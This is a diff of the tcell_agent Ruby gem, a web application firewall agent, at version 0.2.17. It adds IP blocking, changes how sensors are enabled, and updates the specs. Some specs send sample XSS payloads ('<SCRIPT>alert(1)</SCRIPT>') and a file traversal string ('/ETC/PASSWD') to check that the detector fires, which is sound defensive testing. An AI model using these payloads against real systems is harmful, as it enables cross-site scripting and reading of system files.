"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
215
|
+
}
|
139
216
|
}
|
140
217
|
]
|
141
218
|
},
|
@@ -145,7 +222,11 @@
|
|
145
222
|
"title":"Any Line-Break Character",
|
146
223
|
"sophistication":1,
|
147
224
|
"id":"1",
|
148
|
-
"common":"(\\n|\\r)"
|
225
|
+
"common":"(\\n|\\r)",
|
226
|
+
"tests":{
|
227
|
+
"shouldFind":["Duh\r","\r\n","\n\rOh\\0No"],
|
228
|
+
"shouldIgnore":["Julie","The quick'o brown... fox.. was. /there"]
|
229
|
+
}
|
149
230
|
}
|
150
231
|
]
|
151
232
|
}
|
@@ -108,6 +108,10 @@ module TCellAgent
|
|
108
108
|
read_config_using_env
|
109
109
|
read_config_from_file(@config_filename)
|
110
110
|
|
111
|
+
if ENV["TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS"]
|
112
|
+
puts "tCell.io Agent: [DEPRECATED] TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS is deprecated, please switch to TCELL_AGENT_ALLOW_UNENCRYPTED_APPFIREWALL_PAYLOADS."
|
113
|
+
end
|
114
|
+
|
111
115
|
# Because ENV can override this one
|
112
116
|
env_unencrypted_firewall =
|
113
117
|
if (ENV["TCELL_AGENT_ALLOW_UNENCRYPTED_APPSENSOR_PAYLOADS"] != nil)
|
@@ -39,17 +39,20 @@ module TCellAgent
|
|
39
39
|
"retr" => RetrSensor,
|
40
40
|
"login" => LoginSensor}
|
41
41
|
|
42
|
-
attr_accessor :policy_id, :options
|
42
|
+
attr_accessor :policy_id, :options, :enabled
|
43
43
|
|
44
44
|
def initialize
|
45
45
|
@policy_id = nil
|
46
46
|
@options = Hash.new
|
47
|
+
@enabled = false
|
47
48
|
end
|
48
49
|
|
49
50
|
def process_meta_event(appsensor_meta)
|
51
|
+
return unless @enabled
|
52
|
+
|
50
53
|
check_request_size(appsensor_meta)
|
51
54
|
check_response_size(appsensor_meta)
|
52
|
-
|
55
|
+
check_response_code(appsensor_meta)
|
53
56
|
check_params_for_injections(appsensor_meta)
|
54
57
|
end
|
55
58
|
|
@@ -138,8 +141,13 @@ module TCellAgent
|
|
138
141
|
|
139
142
|
if policy_json["version"] && policy_json["version"] == 2
|
140
143
|
if data_json
|
141
|
-
sensors_json = data_json
|
142
|
-
if sensors_json
|
144
|
+
sensors_json = data_json.fetch("sensors", {})
|
145
|
+
if sensors_json.empty?
|
146
|
+
sensor_policy.enabled = false
|
147
|
+
|
148
|
+
else
|
149
|
+
sensor_policy.enabled = true
|
150
|
+
|
143
151
|
DETECTION_POINTS_V2.each do |sensor_name, sensor_class|
|
144
152
|
settings = sensors_json.fetch(sensor_name, {})
|
145
153
|
settings["enabled"] = sensors_json.has_key?(sensor_name)
|
@@ -151,9 +159,13 @@ module TCellAgent
|
|
151
159
|
|
152
160
|
else
|
153
161
|
if data_json
|
154
|
-
options_json = data_json
|
155
|
-
|
162
|
+
options_json = data_json.fetch("options", {})
|
163
|
+
|
164
|
+
if options_json.empty?
|
165
|
+
sensor_policy.enabled = false
|
156
166
|
|
167
|
+
else
|
168
|
+
sensor_policy.enabled = true
|
157
169
|
DETECTION_POINTS_V1.each do |sensor_name|
|
158
170
|
if "req_res_size" == sensor_name
|
159
171
|
enabled = options_json.fetch(sensor_name, false)
|
@@ -193,7 +205,6 @@ module TCellAgent
|
|
193
205
|
)
|
194
206
|
end
|
195
207
|
end
|
196
|
-
|
197
208
|
end
|
198
209
|
end
|
199
210
|
end
|
@@ -0,0 +1,52 @@
|
|
1
|
+
module TCellAgent
|
2
|
+
module Policies
|
3
|
+
|
4
|
+
class PatchesPolicy
|
5
|
+
attr_accessor :policy_id, :version, :ip_blocking_enabled, :blocked_ips
|
6
|
+
|
7
|
+
def initialize
|
8
|
+
@policy_id = nil
|
9
|
+
@version = nil
|
10
|
+
@ip_blocking_enabled = false
|
11
|
+
@blocked_ips = {}
|
12
|
+
end
|
13
|
+
|
14
|
+
def block_ip?(request)
|
15
|
+
@ip_blocking_enabled && @blocked_ips[request.ip]
|
16
|
+
end
|
17
|
+
|
18
|
+
def self.from_json(policy_json)
|
19
|
+
return nil unless policy_json
|
20
|
+
|
21
|
+
policy_id = policy_json["policy_id"]
|
22
|
+
|
23
|
+
raise "Policy ID missing" unless policy_id
|
24
|
+
|
25
|
+
patches_policy = PatchesPolicy.new
|
26
|
+
patches_policy.policy_id = policy_id
|
27
|
+
patches_policy.version = policy_json["version"]
|
28
|
+
|
29
|
+
if 1 != patches_policy.version
|
30
|
+
TCellAgent.logger.warn("Patches Policy not supported: #{patches_policy.version}")
|
31
|
+
return patches_policy
|
32
|
+
end
|
33
|
+
|
34
|
+
data = policy_json["data"]
|
35
|
+
if data
|
36
|
+
blocked_ips = data["blocked_ips"]
|
37
|
+
if blocked_ips
|
38
|
+
blocked_ips.each do |ip_info|
|
39
|
+
if ip_info["ip"]
|
40
|
+
patches_policy.ip_blocking_enabled = true
|
41
|
+
patches_policy.blocked_ips[ip_info["ip"]] = true
|
42
|
+
end
|
43
|
+
end
|
44
|
+
end
|
45
|
+
end
|
46
|
+
|
47
|
+
patches_policy
|
48
|
+
end
|
49
|
+
end
|
50
|
+
|
51
|
+
end
|
52
|
+
end
|
@@ -29,6 +29,17 @@ module TCellAgent
|
|
29
29
|
def call(env)
|
30
30
|
request = Rack::Request.new(env)
|
31
31
|
|
32
|
+
if TCellAgent.configuration.should_intercept_requests?
|
33
|
+
TCellAgent::Instrumentation.safe_block("Checking for blocked ips") do
|
34
|
+
patches_policy = TCellAgent.policy(TCellAgent::PolicyTypes::Patches)
|
35
|
+
if patches_policy
|
36
|
+
if patches_policy.block_ip?(request)
|
37
|
+
return [403, {"Content-Type" => "text/plain"}, ["Forbidden based on referer"]]
|
38
|
+
end
|
39
|
+
end
|
40
|
+
end
|
41
|
+
end
|
42
|
+
|
32
43
|
response = @app.call(env)
|
33
44
|
|
34
45
|
if TCellAgent.configuration.should_intercept_requests?
|
@@ -13,7 +13,6 @@ module TCellAgent
|
|
13
13
|
param,
|
14
14
|
route_id,
|
15
15
|
data=nil,
|
16
|
-
transaction_id=nil,
|
17
16
|
session_id=nil,
|
18
17
|
user_id=nil,
|
19
18
|
payload=nil,
|
@@ -28,7 +27,6 @@ module TCellAgent
|
|
28
27
|
self["m"] = method
|
29
28
|
@raw_location = location
|
30
29
|
@user_id = user_id
|
31
|
-
@transaction_id = transaction_id
|
32
30
|
@raw_session_id = session_id
|
33
31
|
@payload = payload
|
34
32
|
if pattern
|
@@ -41,9 +39,6 @@ module TCellAgent
|
|
41
39
|
if @user_id
|
42
40
|
self["uid"] = @user_id.to_s
|
43
41
|
end
|
44
|
-
if @transaction_id
|
45
|
-
self["tid"] = @transaction_id
|
46
|
-
end
|
47
42
|
if @raw_session_id
|
48
43
|
hmac_key = Util.getHmacKey()
|
49
44
|
self["sid"] = Util.hmac(@raw_session_id, hmac_key)
|
data/lib/tcell_agent/version.rb
CHANGED
@@ -117,6 +117,13 @@ module TCellAgent
|
|
117
117
|
match_data = @rule_set.check_violation("param_name", "evil <script>", {}, true)
|
118
118
|
expect(match_data).to eq({"param"=>"param_name", "value"=>"evil <script>", "pattern"=>1})
|
119
119
|
end
|
120
|
+
|
121
|
+
context "uppercasing param value still matches pattern" do
|
122
|
+
it "should return the match" do
|
123
|
+
match_data = @rule_set.check_violation("param_name", "evil <SCRIPT>", {}, true)
|
124
|
+
expect(match_data).to eq({"param"=>"param_name", "value"=>"evil <SCRIPT>", "pattern"=>1})
|
125
|
+
end
|
126
|
+
end
|
120
127
|
end
|
121
128
|
|
122
129
|
context "v1_compatability is off" do
|
@@ -18,7 +18,7 @@ module TCellAgent
|
|
18
18
|
end
|
19
19
|
end
|
20
20
|
|
21
|
-
context "that
|
21
|
+
context "that has empty options" do
|
22
22
|
it "should have all sensors disabled" do
|
23
23
|
expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
|
24
24
|
|
@@ -32,34 +32,44 @@ module TCellAgent
|
|
32
32
|
empty_policy = AppSensorPolicy.from_json(policy_json_empty)
|
33
33
|
|
34
34
|
expect(empty_policy.policy_id).to eq("01a1")
|
35
|
-
expect(empty_policy.
|
36
|
-
expect(empty_policy.options["
|
37
|
-
expect(empty_policy.options["
|
38
|
-
expect(empty_policy.options["
|
39
|
-
expect(empty_policy.options["
|
40
|
-
expect(empty_policy.options["
|
41
|
-
expect(empty_policy.options["
|
42
|
-
expect(empty_policy.options["
|
43
|
-
expect(empty_policy.options["
|
44
|
-
expect(empty_policy.options["
|
35
|
+
expect(empty_policy.enabled).to eq(false)
|
36
|
+
expect(empty_policy.options["req_size"]).to be_nil
|
37
|
+
expect(empty_policy.options["resp_size"]).to be_nil
|
38
|
+
expect(empty_policy.options["resp_codes"]).to be_nil
|
39
|
+
expect(empty_policy.options["xss"]).to be_nil
|
40
|
+
expect(empty_policy.options["sqli"]).to be_nil
|
41
|
+
expect(empty_policy.options["cmdi"]).to be_nil
|
42
|
+
expect(empty_policy.options["fpt"]).to be_nil
|
43
|
+
expect(empty_policy.options["nullbyte"]).to be_nil
|
44
|
+
expect(empty_policy.options["retr"]).to be_nil
|
45
|
+
expect(empty_policy.options["login"]).to be_nil
|
46
|
+
end
|
47
|
+
end
|
45
48
|
|
46
|
-
|
47
|
-
|
48
|
-
|
49
|
-
expect(empty_policy.options["xss"].enabled).to eq(false)
|
50
|
-
expect(empty_policy.options["sqli"].enabled).to eq(false)
|
51
|
-
expect(empty_policy.options["cmdi"].enabled).to eq(false)
|
52
|
-
expect(empty_policy.options["fpt"].enabled).to eq(false)
|
53
|
-
expect(empty_policy.options["nullbyte"].enabled).to eq(false)
|
54
|
-
expect(empty_policy.options["retr"].enabled).to eq(false)
|
55
|
-
expect(empty_policy.options["login"].enabled).to eq(false)
|
49
|
+
context "that has no options" do
|
50
|
+
it "should have all sensors disabled" do
|
51
|
+
expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
|
56
52
|
|
57
|
-
|
58
|
-
|
59
|
-
|
60
|
-
|
61
|
-
|
62
|
-
|
53
|
+
policy_json_empty = {
|
54
|
+
"policy_id" => "01a1",
|
55
|
+
"data" => {
|
56
|
+
}
|
57
|
+
}
|
58
|
+
|
59
|
+
empty_policy = AppSensorPolicy.from_json(policy_json_empty)
|
60
|
+
|
61
|
+
expect(empty_policy.policy_id).to eq("01a1")
|
62
|
+
expect(empty_policy.enabled).to eq(false)
|
63
|
+
expect(empty_policy.options["req_size"]).to be_nil
|
64
|
+
expect(empty_policy.options["resp_size"]).to be_nil
|
65
|
+
expect(empty_policy.options["resp_codes"]).to be_nil
|
66
|
+
expect(empty_policy.options["xss"]).to be_nil
|
67
|
+
expect(empty_policy.options["sqli"]).to be_nil
|
68
|
+
expect(empty_policy.options["cmdi"]).to be_nil
|
69
|
+
expect(empty_policy.options["fpt"]).to be_nil
|
70
|
+
expect(empty_policy.options["nullbyte"]).to be_nil
|
71
|
+
expect(empty_policy.options["retr"]).to be_nil
|
72
|
+
expect(empty_policy.options["login"]).to be_nil
|
63
73
|
end
|
64
74
|
end
|
65
75
|
|
@@ -221,7 +231,7 @@ module TCellAgent
|
|
221
231
|
end
|
222
232
|
end
|
223
233
|
|
224
|
-
context "that
|
234
|
+
context "that has no sensors" do
|
225
235
|
it "should have all sensors disabled" do
|
226
236
|
expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
|
227
237
|
|
@@ -229,41 +239,52 @@ module TCellAgent
|
|
229
239
|
"policy_id" => "01a1",
|
230
240
|
"version" => 2,
|
231
241
|
"data" => {
|
232
|
-
"sensors" => {}
|
233
242
|
}
|
234
243
|
}
|
235
244
|
|
236
245
|
empty_policy = AppSensorPolicy.from_json(policy_json_empty)
|
237
246
|
|
238
247
|
expect(empty_policy.policy_id).to eq("01a1")
|
239
|
-
expect(empty_policy.
|
240
|
-
expect(empty_policy.options["
|
241
|
-
expect(empty_policy.options["
|
242
|
-
expect(empty_policy.options["
|
243
|
-
expect(empty_policy.options["
|
244
|
-
expect(empty_policy.options["
|
245
|
-
expect(empty_policy.options["
|
246
|
-
expect(empty_policy.options["
|
247
|
-
expect(empty_policy.options["
|
248
|
-
expect(empty_policy.options["
|
248
|
+
expect(empty_policy.enabled).to eq(false)
|
249
|
+
expect(empty_policy.options["req_size"]).to be_nil
|
250
|
+
expect(empty_policy.options["resp_size"]).to be_nil
|
251
|
+
expect(empty_policy.options["resp_codes"]).to be_nil
|
252
|
+
expect(empty_policy.options["xss"]).to be_nil
|
253
|
+
expect(empty_policy.options["sqli"]).to be_nil
|
254
|
+
expect(empty_policy.options["cmdi"]).to be_nil
|
255
|
+
expect(empty_policy.options["fpt"]).to be_nil
|
256
|
+
expect(empty_policy.options["nullbyte"]).to be_nil
|
257
|
+
expect(empty_policy.options["retr"]).to be_nil
|
258
|
+
expect(empty_policy.options["login"]).to be_nil
|
259
|
+
end
|
260
|
+
end
|
249
261
|
|
250
|
-
|
251
|
-
|
252
|
-
|
253
|
-
|
254
|
-
|
255
|
-
|
256
|
-
|
257
|
-
|
258
|
-
|
259
|
-
|
262
|
+
context "that has empty sensors" do
|
263
|
+
it "should have all sensors disabled" do
|
264
|
+
expect_any_instance_of(AppSensorRuleManager).to receive(:load_default_rules_file)
|
265
|
+
|
266
|
+
policy_json_empty = {
|
267
|
+
"policy_id" => "01a1",
|
268
|
+
"version" => 2,
|
269
|
+
"data" => {
|
270
|
+
"sensors" => {}
|
271
|
+
}
|
272
|
+
}
|
273
|
+
|
274
|
+
empty_policy = AppSensorPolicy.from_json(policy_json_empty)
|
260
275
|
|
261
|
-
expect(empty_policy.
|
262
|
-
expect(empty_policy.
|
263
|
-
expect(empty_policy.options["
|
264
|
-
expect(empty_policy.options["
|
265
|
-
expect(empty_policy.options["
|
266
|
-
expect(empty_policy.options["
|
276
|
+
expect(empty_policy.policy_id).to eq("01a1")
|
277
|
+
expect(empty_policy.enabled).to eq(false)
|
278
|
+
expect(empty_policy.options["req_size"]).to be_nil
|
279
|
+
expect(empty_policy.options["resp_size"]).to be_nil
|
280
|
+
expect(empty_policy.options["resp_codes"]).to be_nil
|
281
|
+
expect(empty_policy.options["xss"]).to be_nil
|
282
|
+
expect(empty_policy.options["sqli"]).to be_nil
|
283
|
+
expect(empty_policy.options["cmdi"]).to be_nil
|
284
|
+
expect(empty_policy.options["fpt"]).to be_nil
|
285
|
+
expect(empty_policy.options["nullbyte"]).to be_nil
|
286
|
+
expect(empty_policy.options["retr"]).to be_nil
|
287
|
+
expect(empty_policy.options["login"]).to be_nil
|
267
288
|
end
|
268
289
|
end
|
269
290
|
|
@@ -0,0 +1,143 @@
|
|
1
|
+
require 'spec_helper'
|
2
|
+
|
3
|
+
module TCellAgent
|
4
|
+
module Policies
|
5
|
+
|
6
|
+
describe PatchesPolicy do
|
7
|
+
|
8
|
+
describe "#from_json" do
|
9
|
+
|
10
|
+
context "with a nil policy" do
|
11
|
+
it "should return nil" do
|
12
|
+
expect(PatchesPolicy.from_json(nil)).to be_nil
|
13
|
+
end
|
14
|
+
end
|
15
|
+
|
16
|
+
context "with an empty policy" do
|
17
|
+
it "should raise a policy missing error" do
|
18
|
+
expect {
|
19
|
+
PatchesPolicy.from_json({})
|
20
|
+
}.to raise_error(RuntimeError)
|
21
|
+
end
|
22
|
+
end
|
23
|
+
|
24
|
+
context "with an empty version" do
|
25
|
+
it "should have empty version" do
|
26
|
+
patches = PatchesPolicy.from_json({ "policy_id" => "policy_id" })
|
27
|
+
expect(patches.policy_id).to eq("policy_id")
|
28
|
+
expect(patches.version).to be_nil
|
29
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
30
|
+
expect(patches.blocked_ips).to eq({})
|
31
|
+
end
|
32
|
+
end
|
33
|
+
|
34
|
+
context "with an empty data" do
|
35
|
+
it "should have disabled ip blocking" do
|
36
|
+
patches = PatchesPolicy.from_json({
|
37
|
+
"policy_id" => "policy_id",
|
38
|
+
"version" => 1
|
39
|
+
})
|
40
|
+
expect(patches.policy_id).to eq("policy_id")
|
41
|
+
expect(patches.version).to eq(1)
|
42
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
43
|
+
expect(patches.blocked_ips).to eq({})
|
44
|
+
end
|
45
|
+
end
|
46
|
+
|
47
|
+
context "with an empty blocked_ips" do
|
48
|
+
it "should have disabled ip blocking" do
|
49
|
+
patches = PatchesPolicy.from_json({
|
50
|
+
"policy_id" => "policy_id",
|
51
|
+
"version" => 1,
|
52
|
+
"data" => {}
|
53
|
+
})
|
54
|
+
expect(patches.policy_id).to eq("policy_id")
|
55
|
+
expect(patches.version).to eq(1)
|
56
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
57
|
+
expect(patches.blocked_ips).to eq({})
|
58
|
+
end
|
59
|
+
end
|
60
|
+
|
61
|
+
context "with blocked_ips" do
|
62
|
+
context "as an empty list" do
|
63
|
+
it "should have ip blocking disabled" do
|
64
|
+
patches = PatchesPolicy.from_json({
|
65
|
+
"policy_id" => "policy_id",
|
66
|
+
"version" => 1,
|
67
|
+
"data" => {
|
68
|
+
"blocked_ips" => []
|
69
|
+
}
|
70
|
+
})
|
71
|
+
expect(patches.policy_id).to eq("policy_id")
|
72
|
+
expect(patches.version).to eq(1)
|
73
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
74
|
+
expect(patches.blocked_ips).to eq({})
|
75
|
+
end
|
76
|
+
end
|
77
|
+
|
78
|
+
context "a non empty list" do
|
79
|
+
it "should have ip blocking enabled" do
|
80
|
+
patches = PatchesPolicy.from_json({
|
81
|
+
"policy_id" => "policy_id",
|
82
|
+
"version" => 1,
|
83
|
+
"data" => {
|
84
|
+
"blocked_ips" => [
|
85
|
+
{"ip" => "0.0.0.0"},
|
86
|
+
{"ip" => "1.1.1.1"}
|
87
|
+
]
|
88
|
+
}
|
89
|
+
})
|
90
|
+
expect(patches.policy_id).to eq("policy_id")
|
91
|
+
expect(patches.version).to eq(1)
|
92
|
+
expect(patches.ip_blocking_enabled).to eq(true)
|
93
|
+
expect(patches.blocked_ips).to eq({"0.0.0.0"=>true, "1.1.1.1"=>true})
|
94
|
+
end
|
95
|
+
|
96
|
+
context "with incorrect key names" do
|
97
|
+
it "should skip bad keys" do
|
98
|
+
patches = PatchesPolicy.from_json({
|
99
|
+
"policy_id" => "policy_id",
|
100
|
+
"version" => 1,
|
101
|
+
"data" => {
|
102
|
+
"blocked_ips" => [
|
103
|
+
{"ip_wrong" => "0.0.0.0"},
|
104
|
+
{"ip" => "1.1.1.1"}
|
105
|
+
]
|
106
|
+
}
|
107
|
+
})
|
108
|
+
expect(patches.policy_id).to eq("policy_id")
|
109
|
+
expect(patches.version).to eq(1)
|
110
|
+
expect(patches.ip_blocking_enabled).to eq(true)
|
111
|
+
expect(patches.blocked_ips).to eq({"1.1.1.1"=>true})
|
112
|
+
end
|
113
|
+
end
|
114
|
+
|
115
|
+
context "with a wrong version number" do
|
116
|
+
it "should have ip blocking disabled" do
|
117
|
+
logger = double("logger")
|
118
|
+
expect(TCellAgent).to receive(:logger).and_return(logger)
|
119
|
+
expect(logger).to receive(:warn).with("Patches Policy not supported: 2")
|
120
|
+
|
121
|
+
patches = PatchesPolicy.from_json({
|
122
|
+
"policy_id" => "policy_id",
|
123
|
+
"version" => 2,
|
124
|
+
"data" => {
|
125
|
+
"blocked_ips" => [
|
126
|
+
{"ip" => "0.0.0.0"},
|
127
|
+
{"ip" => "1.1.1.1"}
|
128
|
+
]
|
129
|
+
}
|
130
|
+
})
|
131
|
+
expect(patches.policy_id).to eq("policy_id")
|
132
|
+
expect(patches.version).to eq(2)
|
133
|
+
expect(patches.ip_blocking_enabled).to eq(false)
|
134
|
+
expect(patches.blocked_ips).to eq({})
|
135
|
+
end
|
136
|
+
end
|
137
|
+
end
|
138
|
+
end
|
139
|
+
end
|
140
|
+
end
|
141
|
+
|
142
|
+
end
|
143
|
+
end
|
@@ -63,7 +63,7 @@ module TCellAgent
|
|
63
63
|
TCellAgent.empty_event_queue
|
64
64
|
end
|
65
65
|
it "alerts on get xss payload" do
|
66
|
-
response = request.get("/foo?xyz=%
|
66
|
+
response = request.get("/foo?xyz=%3CSCRIPT%3Ealert(1)%3C%2Fscript%3E", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
|
67
67
|
expected_as = {
|
68
68
|
"event_type"=>"as",
|
69
69
|
"dp"=>"xss",
|
@@ -71,12 +71,11 @@ module TCellAgent
|
|
71
71
|
"remote_addr"=>"1.3.3.4",
|
72
72
|
"m"=>"GET",
|
73
73
|
"pattern"=>"1",
|
74
|
-
"loc"=>"http://example.org/foo?xyz="
|
75
|
-
"tid"=>"a-b-c-d-e-f"}
|
74
|
+
"loc"=>"http://example.org/foo?xyz="}
|
76
75
|
expect(TCellAgent.event_queue).to include(expected_as)
|
77
76
|
end
|
78
77
|
it "alerts on post xss payload" do
|
79
|
-
response = request.post("/foo", :input => "x=<
|
78
|
+
response = request.post("/foo", :input => "x=<SCRIPT>alert(1)</SCRIPT>", 'REMOTE_ADDR' => '1.2.3.4,3.4.5.6')
|
80
79
|
expected_as = {
|
81
80
|
"event_type"=>"as",
|
82
81
|
"dp"=>"xss",
|
@@ -84,8 +83,7 @@ module TCellAgent
|
|
84
83
|
"remote_addr"=>"1.2.3.4",
|
85
84
|
"m"=>"POST",
|
86
85
|
"pattern"=>"1",
|
87
|
-
"loc"=>"http://example.org/foo"
|
88
|
-
"tid"=>"a-b-c-d-e-f"}
|
86
|
+
"loc"=>"http://example.org/foo"}
|
89
87
|
expect(TCellAgent.event_queue).to include(expected_as)
|
90
88
|
end #/it
|
91
89
|
it "alerts on get xss payload with route_id" do
|
@@ -98,8 +96,7 @@ module TCellAgent
|
|
98
96
|
"rou"=>"myrouteid",
|
99
97
|
"m"=>"GET",
|
100
98
|
"pattern"=>"1",
|
101
|
-
"loc"=>"http://example.org/foo?xyz="
|
102
|
-
"tid"=>"a-b-c-d-e-f"}
|
99
|
+
"loc"=>"http://example.org/foo?xyz="}
|
103
100
|
expect(TCellAgent.event_queue).to include(expected_as)
|
104
101
|
end
|
105
102
|
it "checks that payload is sent in xss with route_id" do
|
@@ -115,7 +112,6 @@ module TCellAgent
|
|
115
112
|
"m"=>"GET",
|
116
113
|
"pattern"=>"1",
|
117
114
|
"loc"=>"http://example.org/foo?xyz=",
|
118
|
-
"tid"=>"a-b-c-d-e-f",
|
119
115
|
"payload"=>"<script>alert(1)</script>"}
|
120
116
|
TCellAgent.configuration.allow_unencrypted_appfirewall_payloads= old_uap
|
121
117
|
expect(TCellAgent.event_queue).to include(expected_as)
|
@@ -146,8 +142,7 @@ module TCellAgent
|
|
146
142
|
"remote_addr"=>"1.3.3.4",
|
147
143
|
"m"=>"GET",
|
148
144
|
"pattern"=>"1",
|
149
|
-
"loc"=>"http://example.org/foo?xyz=&def="
|
150
|
-
"tid"=>"a-b-c-d-e-f"}
|
145
|
+
"loc"=>"http://example.org/foo?xyz=&def="}
|
151
146
|
expect(TCellAgent.event_queue).to include(expected_as)
|
152
147
|
end
|
153
148
|
end #/conext
|
@@ -166,7 +161,7 @@ module TCellAgent
|
|
166
161
|
TCellAgent.empty_event_queue
|
167
162
|
end
|
168
163
|
it "alerts on most obvious payload" do
|
169
|
-
response = request.get("/foo?xyz=/
|
164
|
+
response = request.get("/foo?xyz=/ETC/PASSWD", 'REMOTE_ADDR' => '1.3.3.4,3.4.5.6')
|
170
165
|
expected_as = {
|
171
166
|
"event_type"=>"as",
|
172
167
|
"dp"=>"fpt",
|
@@ -174,8 +169,7 @@ module TCellAgent
|
|
174
169
|
"remote_addr"=>"1.3.3.4",
|
175
170
|
"m"=>"GET",
|
176
171
|
"pattern"=>"2",
|
177
|
-
"loc"=>"http://example.org/foo?xyz="
|
178
|
-
"tid"=>"a-b-c-d-e-f"}
|
172
|
+
"loc"=>"http://example.org/foo?xyz="}
|
179
173
|
expect(TCellAgent.event_queue).to include(expected_as)
|
180
174
|
end
|
181
175
|
it "checks that payload is sent" do
|
@@ -190,7 +184,6 @@ module TCellAgent
|
|
190
184
|
"m"=>"GET",
|
191
185
|
"pattern"=>"2",
|
192
186
|
"loc"=>"http://example.org/foo?xyz=",
|
193
|
-
"tid"=>"a-b-c-d-e-f",
|
194
187
|
"payload"=>"/etc/passwd"}
|
195
188
|
TCellAgent.configuration.allow_unencrypted_appfirewall_payloads = old_uap
|
196
189
|
expect(TCellAgent.event_queue).to include(expected_as)
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: tcell_agent
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.2.
|
4
|
+
version: 0.2.17
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Garrett
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2016-
|
11
|
+
date: 2016-06-02 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: rest-client
|
@@ -155,6 +155,7 @@ files:
|
|
155
155
|
- lib/tcell_agent/policies/http_redirect_policy.rb
|
156
156
|
- lib/tcell_agent/policies/http_tx_policy.rb
|
157
157
|
- lib/tcell_agent/policies/login_fraud_policy.rb
|
158
|
+
- lib/tcell_agent/policies/patches_policy.rb
|
158
159
|
- lib/tcell_agent/policies/secure_headers_policy.rb
|
159
160
|
- lib/tcell_agent/rails/auth/authlogic.rb
|
160
161
|
- lib/tcell_agent/rails/auth/devise.rb
|
@@ -267,6 +268,7 @@ files:
|
|
267
268
|
- spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb
|
268
269
|
- spec/lib/tcell_agent/policies/http_tx_policy_spec.rb
|
269
270
|
- spec/lib/tcell_agent/policies/login_policy_spec.rb
|
271
|
+
- spec/lib/tcell_agent/policies/patches_policy_spec.rb
|
270
272
|
- spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb
|
271
273
|
- spec/lib/tcell_agent/rails/logger_spec.rb
|
272
274
|
- spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb
|
@@ -390,6 +392,7 @@ test_files:
|
|
390
392
|
- spec/lib/tcell_agent/policies/http_redirect_policy_spec.rb
|
391
393
|
- spec/lib/tcell_agent/policies/http_tx_policy_spec.rb
|
392
394
|
- spec/lib/tcell_agent/policies/login_policy_spec.rb
|
395
|
+
- spec/lib/tcell_agent/policies/patches_policy_spec.rb
|
393
396
|
- spec/lib/tcell_agent/policies/secure_headers_policy_spec.rb
|
394
397
|
- spec/lib/tcell_agent/rails/logger_spec.rb
|
395
398
|
- spec/lib/tcell_agent/rails/middleware/appsensor_middleware_spec.rb
|